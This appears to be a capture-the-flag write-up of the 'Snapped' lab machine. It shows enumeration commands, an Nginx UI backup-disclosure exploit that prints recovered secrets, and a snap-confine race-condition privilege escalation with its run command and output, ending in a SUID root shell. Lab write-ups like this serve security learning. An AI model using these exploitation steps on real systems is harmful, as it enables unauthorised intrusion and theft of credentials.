Initial Enumeration

After getting the target ip address, the first step was to perform an Nmap scan to identify open ports and services:

nmap -sC -sV -A -p- -O --min-rate=1000 10.129.42.237

Scan Results:

Starting Nmap 7.95 at 2026-04-28 02:15 EDT
Nmap scan report for 10.129.42.237
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
| ssh-hostkey: 
|   256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_  256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)

80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/

Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

Web Enumeration & Subdomain Discovery

Navigating to http://10.129.42.237 revealed a redirect to http://snapped.htb. The domain was added to /etc/hosts:

echo "10.129.42.237 snapped.htb" | tee -a /etc/hosts

Initial browsing of snapped.htb didn’t revealed anything juicy, so subdomain fuzzing was performed:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt \
      -u http://snapped.htb -H "HOST: FUZZ.snapped.htb" -mc 200

Discovery:

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50]

The subdomain admin.snapped.htb was added to /etc/hosts and accessed, revealing an Nginx UI dashboard.

Exploiting CVE-2026-27944 (Nginx UI)

Research into Nginx UI vulnerabilities revealed:

Critical Vulnerabilities (2026):

  1. CVE-2026-33032 (MCPwn Authentication Bypass - CVSS 9.8)
    • The /mcp_message endpoint fails to enforce authentication
    • Allows unauthenticated attackers to manage Nginx and execute commands
  2. CVE-2026-27944 (Unauthenticated Backup Download - CVSS 9.8)
    • Versions before 2.3.3 allow unauthenticated backup access
    • AES-256 encryption key and IV disclosed in X-Backup-Security header
    • Enables decryption of credentials, SSL keys, and configs
  3. CVE-2026-33026 (Backup Tampering & Injection)
    • Fixed in 2.3.4, allows malicious config injection

Exploiting the Backup Vulnerability

Accessing http://admin.snapped.htb/api/backup downloaded a ZIP file:

┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ file backup-20260428-022136.zip 
backup-20260428-022136.zip: Zip archive data

┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ unzip backup-20260428-022136.zip 
Archive:  backup-20260428-022136.zip
  inflating: hash_info.txt           
  inflating: nginx-ui.zip            
  inflating: nginx.zip
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ cat hash_info.txt 
�)+��ƺ�c��MfL�U98�5�5Ԕ��G�c�]F�Ujr'���|�!
%&��(���x       �9t5�Q�]_>��(@��B��k���c��7�2_O��#��\�����>�c{�Q�����ڄ�>l�����ƝT7/�}��X��uC��(
�A(�K�/��
         ��
           ց��0QS�軭��  

its encrypted The X-Backup-Security header contained the encryption key and IV:

┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 | grep -i "X-Backup-Security"
< X-Backup-Security: 4kaig8RUr+4NSvfJ6Of3bj6W7nP9VwYP9IjZGSiGCto=:wevqrDQJpKHXzrJSr+taQg==

Decrypting the Backup

Using a public exploit for CVE-2026-27944:

https://github.com/Skynoxk/CVE-2026-27944

┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb/CVE-2026-27944-POC]
└─$ python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --show-secrets
        
======================================================================
CVE-2026-27944 - Nginx UI Unauthenticated Backup Download + Dashboard Access
======================================================================

[*] Downloading backup from http://admin.snapped.htb/api/backup
[+] Backup downloaded successfully (18306 bytes)
[+] Saved to: backup.bin

[*] X-Backup-Security header: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=:ZMpW3hraTFvZc/EF6Rr+jw==
[+] Parsed AES-256 key: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=
[+] Parsed AES IV    : ZMpW3hraTFvZc/EF6Rr+jw==

[+] Key length: 32 bytes (AES-256 ✓)
[+] IV length : 16 bytes (AES block size ✓)

[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
    → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
    → Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
    → Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
    → Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
    → Extracted 22 files to backup_extracted/nginx

[*] Hash info:
nginx-ui_hash: 4ad8655192ed5ee220cb820d46db34c1049c37ef4a7ddc5482010620976e72bb
nginx_hash: 2f0263bd95d62226c216fff4bc222711b713e9b4a993207dc8695137c536af09
timestamp: 20260428-024653
version: 2.3.2


[*] Extracting secrets from backup_extracted/nginx-ui/app.ini
[+] Secrets extracted:
    JWT Secret    : 6c4af436-035a-4942-9ca6-172b36696ce9
    Node Secret   : c64d7ca1-19cb-4ebe-96d4-49037e7df78e
    Crypto Secret : 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
    Email         : admin@test.htb

[*] Verifying Node Secret bypass...
[+] Node Secret verified! Admin API access confirmed
[+] Total users in system: 2

┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ ls                        
app.ini  database.db
                                                                                             
┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ pwd                                                                                  
/home/kali/Downloads/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui

box box

SSH Access

After cracking the password for user jonathan:

┌──(kali㉿blackXploit)-[~/Downloads]
└─$ ssh jonathan@snapped.htb
The authenticity of host 'snapped.htb (10.129.42.237)' can't be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'snapped.htb' (ED25519) to the list of known hosts.
jonathan@snapped.htb's password: 

Successful Login:

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)

jonathan@snapped:~$ ls
Desktop  Documents  Downloads  linpeas.sh  Music  Pictures  Public  snap  Templates  user.txt  Videos

Privilege Escalation via CVE-2026-3888

Understanding the Vulnerability

CVE-2026-3888 is a local privilege escalation vulnerability in snap-confine and systemd-tmpfiles. Here’s how it works:

Step 1: The Regular Cleanup (The Trigger)

  • Linux systems use systemd-tmpfiles to delete old files in /tmp to save space
  • By default, it clears out files every few weeks
  • The Flaw: When this service deletes /tmp/.snap, it briefly leaves a “hole” where that folder used to be

Step 2: The Race Condition (The Timing)

  • This is a TOCTOU (Time-of-Check to Time-of-Use) bug
  • An attacker cannot delete the folder themselves (no permission), so they wait for the system to do it
  • The Attack: The attacker runs a script that constantly watches that folder. The millisecond the system deletes it, the attacker’s script “races” to recreate a new version of that folder before the real snap service notices it’s gone

Step 3: The Bait-and-Switch

  • Because the attacker created the new /tmp/.snap folder, they own it
  • They place a “trap” inside: a symbolic link pointing to a sensitive part of the system (like the root filesystem)

Step 4: The Elevation (The Payoff)

  • Any snap app starting (or triggered by the attacker) causes snap-confine to run
  • snap-confine sees the folder is missing or needs resetting, so it prepares the sandbox
  • Because snap-confine runs with Root privileges, it follows the attacker’s “shortcut” without realizing it’s a trap
  • It ends up mounting the attacker’s malicious files into a high-privilege area
  • The Result: The attacker, who started as a normal user, now has a “backdoor” into the system’s core and becomes Root

System Information

jonathan@snapped:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic

Executing the Exploit

The exploit was run against the Firefox snap:

how this exploit works ?


systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)
Attacker recreates it with controlled content — all files owned by the attacker
Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
Attacker-owned libraries are mounted into the sandbox as root
ld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execve
Executing SUID snap-confine triggers the shellcode with root privileges
SUID bash is dropped to /var/snap/firefox/common/ to escape the sandbox
jonathan@snapped:~/snap$ ./exploit ./librootshell.so -d 

Exploit Output:

================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/snap/./librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 65385

[Phase 2] Waiting for .snap deletion...
[*] --skip-wait: triggering cleanup...

[Phase 3] Race condition execution...
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0"
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 65882

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

Root Access Achieved

bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)

bash-5.1# ls
Desktop  Documents  Downloads  linpeas.sh  Music  Pictures  Public  snap  Templates  user.txt  Videos

bash-5.1# cd /root
bash-5.1# ls
nginxui  root.txt  snap

bash-5.1# cat root.txt
redact

References

Thanks for reading ! happy hacking